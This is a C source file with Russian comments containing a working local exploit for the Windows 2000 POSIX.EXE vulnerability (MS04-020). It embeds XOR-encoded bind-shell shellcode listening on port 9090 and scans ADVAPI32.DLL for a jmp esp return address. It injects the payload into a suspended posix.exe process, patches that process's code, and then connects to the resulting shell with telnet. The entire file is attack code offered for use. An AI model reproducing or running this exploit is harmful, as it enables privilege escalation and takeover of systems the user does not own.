/* * Рабочий эксплойт для POSIX.EXE (MS04-020) by 0x90 [at] rambler.ru. * Greets fly 2: * [*] Politeh: Tilk, xImian, wormboy, .dump, Zorro, MMM. * [*] WapBBS: FuzzMachine, Paul, KillerLoo, spaWn, alegri,SergekO,zeron. * [*] RespectMen: SolarDesigner, 3APA3A, Fyodor, KPNC. * [*] Others: all except punk_rocker. * AND OF COURSE TO MY BROTHER MACiNTOSH. * * Notes: exploit works at win2k with all SP. * Special note for *private sploiters* - INFORMATION MUST BE FREE! * Seems to work only in 2k. Tested in Win2k SP4 [ru] * $VERSION = 0.5b [UNIVERSAL & INTERNATIONAL] */ #define STRICT #ifndef UNICODE #define UNICODE #endif #include #include #include #include #include #pragma comment(lib,"ws2_32") #define PATCHADDR 0x0100343D //Адресс в где начнет //располагаться шеллкод. #define MEMSIZE 0x350 #define CODESIZE 50 #define bind_port_offset 116 //смещение порта в шеллкоде // [ebp-0x200] [saved ebp] [saved eip] #define EIPLOCATION 0x200+4-12 //12"\DosDevices\" #define CANWRITEADDR 0x7ffdf02c //+0x20 #define AUTHOR 0x90 unsigned short bindport = 9090; //порт на котором будет висеть шелл unsigned long RETADDR=0xAABBCCDD; //jmp esp адресс unsigned char jmpcode[]= "\x33\xC0" //xor eax,eax "\x66\xB8\xc0\x01" //mov ax,0x1ff "\x40" //inc eax "\x2B\xE0" //sub esp,eax "\xFF\xE4" //jmp esp "\x00"; //\0 zero NULL unsigned char bind_shell[]= //shellcode нагло взят из эксплойта написанного bkbll //Расшифровщик шеллкода "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x45\x01\x80\x34\x0b\xee\xe2\xfa" "\xeb\x05\xe8\xeb\xff\xff\xff" //Собственно сам шеллкод проксоренный по 0xEE. Длина 302 байта "\x07\x12\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65" "\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x72\xee\xee\xee" "\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b" "\x84\xe8\xb7\x06\x6a\xee\xee\xee\x0c\x17\x65\x2a\xdd\x27\xdd\x3c" "\x5f\xea\x19\x1f\xc5\x0c\x6f\x02\x7e\xef\xee\xee\x65\x22\xbf\x86" "\xec\xec\xee\xee\x11\xb8\xca\xdd\x27\xbf\x86\xec\xee\xee\xdb\x65" "\x02\xbf\xbf\xbf\xbf\x84\xef\x84\xec\x11\xb8\xfe\x7d\x84\xfe\xbb" "\xbd\x11\xb8\xfa\xbe\xbd\x11\xb8\xf6\x65\x12\x84\xe0\xb7\x45\x0c" "\x13\xbe\xbe\xbd\x11\xb8\xf2\x88\x29\xaa\xca\xc2\xef\xef\x45\x45" "\x45\x65\x3a\x86\x8d\x83\x8a\xee\x65\x02\xdd\x27\xbe\xb9\xbc\xbf" "\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11" "\xb8\xe2\xbd\x11\xb8\xce\x11\xb8\xce\x11\xb8\xe6\xbf\xb8\x65\x9b" "\xd2\x65\x9a\xc0\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7" "\xaf\x43\xed\x2b\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3" "\xed\x34\xae\x05\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88" "\x65\xe2\xa5\x65\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7" "\x2d\x06\x11\x10\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20" "\x0e\x8e\x43\x37\xeb\x20\x37\xe7\x1b\x43\x4a\xf4\x9e\x29\x4a\x43" "\xc0\x07\x0b\xa7\x68\xa7\x09\x97\x28\x97\x25\x03\x12\xd5" ; //Функция проверки на fucking bytes 8) //т.е. на 0x00, 0x0a, 0x0d, 0x1a BOOL fb(unsigned long ad) { int i; char str[9]; itoa(ad,str,16); if (strlen(str)<7) return TRUE; if (strlen(str)==8) { for (i=0; i< 6; i+=2) { if (str[i]=='0' && (str[i+1]=='0' || str[i+1]=='a' || str[i+1]=='d')) return TRUE; if (str[i]=='1' && str[i+1]=='a') return TRUE; } } return FALSE; } //Функция находит нужный нам адресс в нужной нам дллке //ищет jmp esp т.е. 0xFF 0xD4 или call esp 0xFF 0xE4 unsigned long get_esp(wchar_t *pDllName) { HMODULE h; unsigned long a=0; BYTE* ptr; BOOL finished=FALSE; wprintf(L"Checking if %s loaded...\n",pDllName); h = GetModuleHandle(pDllName); if (h==0) { wprintf(L"%s isn't loaded. Loading...\n",pDllName); h=LoadLibrary(pDllName); } wprintf(L"%s is loaded at the moment and its addres is %p\n",pDllName,h); ptr = (BYTE*)h; if (h == 0) { printf("Something suxxesfull happened 8(. Exiting...."); ExitProcess(0); } while (1) { printf("\rTrying address 0x%p",(unsigned long)h+a); if (ptr[a]==0xff) { if (ptr[a+1]==0xd4) { if (!fb((unsigned long)h+a)) { printf("\njmp esp found at 0x%p\n",(unsigned long)h+a); RETADDR=(unsigned long)h+a; return RETADDR; } } if (ptr[a+1]==0xe4) { if (!fb((unsigned long)h+a)) { printf("\ncall esp found at 0x%p\n",(unsigned long)h+a); RETADDR=(unsigned long)h+a; return RETADDR; } } } a++; } return a; } int main(int argc, char *argv[]) { STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID pdwCodeRemote; unsigned int cbMemSize = MEMSIZE; DWORD dwOldProtect,dwNumBytesXferred; unsigned char buffer[MEMSIZE]; unsigned int buflen=0; unsigned char textbuf[CODESIZE]; int i; unsigned short lports; char cmdarg[400]; char systemdir[MAX_PATH+1]; //Получаем адрес jmp esp или call esp get_esp(L"ADVAPI32.DLL"); printf("0x%p\n",RETADDR); i = GetWindowsDirectory(systemdir,MAX_PATH); systemdir[i]='\0'; _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C pax -h",systemdir,systemdir); printf("cmdarg:%s\n",cmdarg); ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); ZeroMemory( &pi,sizeof(pi)); //create process //??psxss???? if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi)) { printf("CreateProcess1 failed:%d\n", GetLastError()); return 0; } WaitForSingleObject(pi.hProcess, INFINITE); ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); ZeroMemory( &pi,sizeof(pi)); if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi)) { printf("CreateProcess2 failed:%d\n", GetLastError()); return 0; } //alloc from remote process pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE); if (pdwCodeRemote == NULL) { TerminateProcess(pi.hProcess,0); printf("VirtualAllocEx failed:%d\n",GetLastError()); return 0; } printf("Remote addr:0x%08x\n",pdwCodeRemote); //we can write and execute if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) { TerminateProcess(pi.hProcess,0); printf("VirtualProtectEx failed:%d\n",GetLastError()); return 0; } //make shellcode lports = htons(bindport)^0xeeee; memcpy(bind_shell+bind_port_offset,&lports,2); memset(buffer,'\x90',MEMSIZE); //memset(buffer,'A',EIPLOCATION); buffer[MEMSIZE-1] = '\0'; i=sizeof(bind_shell)-1; if(i >= EIPLOCATION) { printf("shellcode so large:%d,must < %d\n",i,MEMSIZE); TerminateProcess(pi.hProcess,0); return 0; } i=EIPLOCATION-i; memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1); *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //??eip *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //??????? memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1); //write in to target buflen=MEMSIZE; if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) { TerminateProcess(pi.hProcess,0); printf("WriteProcessMemory failed:%d\n",GetLastError()); return 0; } //modified the process .text if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) { TerminateProcess(pi.hProcess,0); printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError()); return 0; } i = 0; textbuf[i++]='\xbf'; textbuf[i++]=(DWORD)pdwCodeRemote & 0xff; //mov edi,pdwCodeRemote textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff; textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff; textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff; textbuf[i++]='\xeb'; textbuf[i++]='\x09'; //jmp .+0b if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) { TerminateProcess(pi.hProcess,0); printf("WriteProcessMemory failed:%d\n",GetLastError()); return 0; } ResumeThread(pi.hThread); Sleep(20); WinExec("telnet localhost 9090",SW_NORMAL); //TerminateProcess(pi.hProcess,0); //WaitForSingleObject(pi.hProcess, INFINITE); /*/*/ return 0; }